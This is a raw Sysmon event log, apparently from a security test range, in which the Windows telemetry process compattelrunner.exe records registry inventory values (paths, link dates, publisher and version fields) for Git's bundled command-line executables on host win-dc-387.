14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nettle-pbkdf2.ex|97ba977fde0c62d6\Publisher(Empty) 13241300x800000000000000037211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nettle-pbkdf2.ex|97ba977fde0c62d6\LowerCaseLongPathc:\program files\git\usr\bin\nettle-pbkdf2.exe 13241300x800000000000000037210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nettle-lfib-stre|884dcfac9ef75867\BinProductVersion(Empty) 13241300x800000000000000037209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nettle-lfib-stre|884dcfac9ef75867\LinkDate01/01/1970 00:00:00 13241300x800000000000000037208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nettle-lfib-stre|884dcfac9ef75867\Publisher(Empty) 13241300x800000000000000037207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nettle-lfib-stre|884dcfac9ef75867\LowerCaseLongPathc:\program files\git\usr\bin\nettle-lfib-stream.exe 13241300x800000000000000037206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nettle-hash.exe|b53503615f207ffa\BinProductVersion(Empty) 13241300x800000000000000037205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nettle-hash.exe|b53503615f207ffa\LinkDate01/01/1970 00:00:00 13241300x800000000000000037204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nettle-hash.exe|b53503615f207ffa\Publisher(Empty) 13241300x800000000000000037203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nettle-hash.exe|b53503615f207ffa\LowerCaseLongPathc:\program files\git\usr\bin\nettle-hash.exe 13241300x800000000000000037202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nano.exe|b50a21634bf0fc7\BinProductVersion(Empty) 13241300x800000000000000037201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nano.exe|b50a21634bf0fc7\LinkDate01/01/1970 00:00:00 13241300x800000000000000037200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nano.exe|b50a21634bf0fc7\Publisher(Empty) 13241300x800000000000000037199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nano.exe|b50a21634bf0fc7\LowerCaseLongPathc:\program files\git\usr\bin\nano.exe 13241300x800000000000000037198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mv.exe|929878a0fb05584e\BinProductVersion(Empty) 13241300x800000000000000037197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mv.exe|929878a0fb05584e\LinkDate01/01/1970 00:00:00 13241300x800000000000000037196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mv.exe|929878a0fb05584e\Publisher(Empty) 13241300x800000000000000037195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mv.exe|929878a0fb05584e\LowerCaseLongPathc:\program files\git\usr\bin\mv.exe 13241300x800000000000000037194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msguniq.exe|630e939fcdce570c\BinProductVersion(Empty) 13241300x800000000000000037193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msguniq.exe|630e939fcdce570c\LinkDate01/01/1970 00:00:01 13241300x800000000000000037192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msguniq.exe|630e939fcdce570c\Publisher(Empty) 13241300x800000000000000037191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msguniq.exe|630e939fcdce570c\LowerCaseLongPathc:\program files\git\usr\bin\msguniq.exe 13241300x800000000000000037190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgunfmt.exe|e224c743b2bfe999\BinProductVersion(Empty) 13241300x800000000000000037189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgunfmt.exe|e224c743b2bfe999\LinkDate06/19/2025 15:30:53 13241300x800000000000000037188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgunfmt.exe|e224c743b2bfe999\Publisher(Empty) 13241300x800000000000000037187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgunfmt.exe|e224c743b2bfe999\LowerCaseLongPathc:\program files\git\usr\bin\msgunfmt.exe 13241300x800000000000000037186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgmerge.exe|70a7277cc4533b58\BinProductVersion(Empty) 13241300x800000000000000037185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgmerge.exe|70a7277cc4533b58\LinkDate06/19/2025 15:30:53 13241300x800000000000000037184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgmerge.exe|70a7277cc4533b58\Publisher(Empty) 13241300x800000000000000037183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgmerge.exe|70a7277cc4533b58\LowerCaseLongPathc:\program files\git\usr\bin\msgmerge.exe 13241300x800000000000000037182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msginit.exe|5aa0cd7045e63438\BinProductVersion(Empty) 13241300x800000000000000037181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msginit.exe|5aa0cd7045e63438\LinkDate01/18/2021 06:51:50 13241300x800000000000000037180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msginit.exe|5aa0cd7045e63438\Publisher(Empty) 13241300x800000000000000037179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msginit.exe|5aa0cd7045e63438\LowerCaseLongPathc:\program files\git\usr\bin\msginit.exe 13241300x800000000000000037178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msggrep.exe|983cdb3b51d722e3\BinProductVersion(Empty) 13241300x800000000000000037177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msggrep.exe|983cdb3b51d722e3\LinkDate01/01/1970 00:00:00 13241300x800000000000000037176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msggrep.exe|983cdb3b51d722e3\Publisher(Empty) 13241300x800000000000000037175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msggrep.exe|983cdb3b51d722e3\LowerCaseLongPathc:\program files\git\usr\bin\msggrep.exe 13241300x800000000000000037174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgfmt.exe|b876ce85e126a312\BinProductVersion(Empty) 13241300x800000000000000037173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgfmt.exe|b876ce85e126a312\LinkDate06/19/2025 15:30:53 13241300x800000000000000037172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgfmt.exe|b876ce85e126a312\Publisher(Empty) 13241300x800000000000000037171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgfmt.exe|b876ce85e126a312\LowerCaseLongPathc:\program files\git\usr\bin\msgfmt.exe 13241300x800000000000000037170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgfilter.exe|aaac2b93f137f1ae\BinProductVersion(Empty) 13241300x800000000000000037169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgfilter.exe|aaac2b93f137f1ae\LinkDate01/01/1970 00:00:00 13241300x800000000000000037168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgfilter.exe|aaac2b93f137f1ae\Publisher(Empty) 13241300x800000000000000037167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgfilter.exe|aaac2b93f137f1ae\LowerCaseLongPathc:\program files\git\usr\bin\msgfilter.exe 13241300x800000000000000037166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgexec.exe|9c976ab4ff6e1c54\BinProductVersion(Empty) 13241300x800000000000000037165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgexec.exe|9c976ab4ff6e1c54\LinkDate01/01/1970 00:00:01 13241300x800000000000000037164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgexec.exe|9c976ab4ff6e1c54\Publisher(Empty) 13241300x800000000000000037163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgexec.exe|9c976ab4ff6e1c54\LowerCaseLongPathc:\program files\git\usr\bin\msgexec.exe 13241300x800000000000000037162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgen.exe|da6af5ac56e9716\BinProductVersion(Empty) 13241300x800000000000000037161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgen.exe|da6af5ac56e9716\LinkDate06/19/2025 15:30:53 13241300x800000000000000037160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgen.exe|da6af5ac56e9716\Publisher(Empty) 13241300x800000000000000037159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgen.exe|da6af5ac56e9716\LowerCaseLongPathc:\program files\git\usr\bin\msgen.exe 13241300x800000000000000037158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgconv.exe|be24512a01e4ec35\BinProductVersion(Empty) 13241300x800000000000000037157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgconv.exe|be24512a01e4ec35\LinkDate06/19/2025 15:30:53 13241300x800000000000000037156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgconv.exe|be24512a01e4ec35\Publisher(Empty) 13241300x800000000000000037155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgconv.exe|be24512a01e4ec35\LowerCaseLongPathc:\program files\git\usr\bin\msgconv.exe 13241300x800000000000000037154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgcomm.exe|6ef471fb1825a1cd\BinProductVersion(Empty) 13241300x800000000000000037153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgcomm.exe|6ef471fb1825a1cd\LinkDate06/19/2025 15:30:53 13241300x800000000000000037152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgcomm.exe|6ef471fb1825a1cd\Publisher(Empty) 13241300x800000000000000037151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgcomm.exe|6ef471fb1825a1cd\LowerCaseLongPathc:\program files\git\usr\bin\msgcomm.exe 13241300x800000000000000037150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgcmp.exe|7c2e229e6e1c68a8\BinProductVersion(Empty) 13241300x800000000000000037149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgcmp.exe|7c2e229e6e1c68a8\LinkDate05/08/2031 18:06:26 13241300x800000000000000037148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgcmp.exe|7c2e229e6e1c68a8\Publisher(Empty) 13241300x800000000000000037147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgcmp.exe|7c2e229e6e1c68a8\LowerCaseLongPathc:\program files\git\usr\bin\msgcmp.exe 13241300x800000000000000037146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgcat.exe|5596b37e57e3e044\BinProductVersion(Empty) 13241300x800000000000000037145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgcat.exe|5596b37e57e3e044\LinkDate01/01/1970 00:00:01 13241300x800000000000000037144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgcat.exe|5596b37e57e3e044\Publisher(Empty) 13241300x800000000000000037143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgcat.exe|5596b37e57e3e044\LowerCaseLongPathc:\program files\git\usr\bin\msgcat.exe 13241300x800000000000000037142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgattrib.exe|ef0e87f6c6fba86f\BinProductVersion(Empty) 13241300x800000000000000037141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgattrib.exe|ef0e87f6c6fba86f\LinkDate01/01/1970 00:00:01 13241300x800000000000000037140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgattrib.exe|ef0e87f6c6fba86f\Publisher(Empty) 13241300x800000000000000037139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 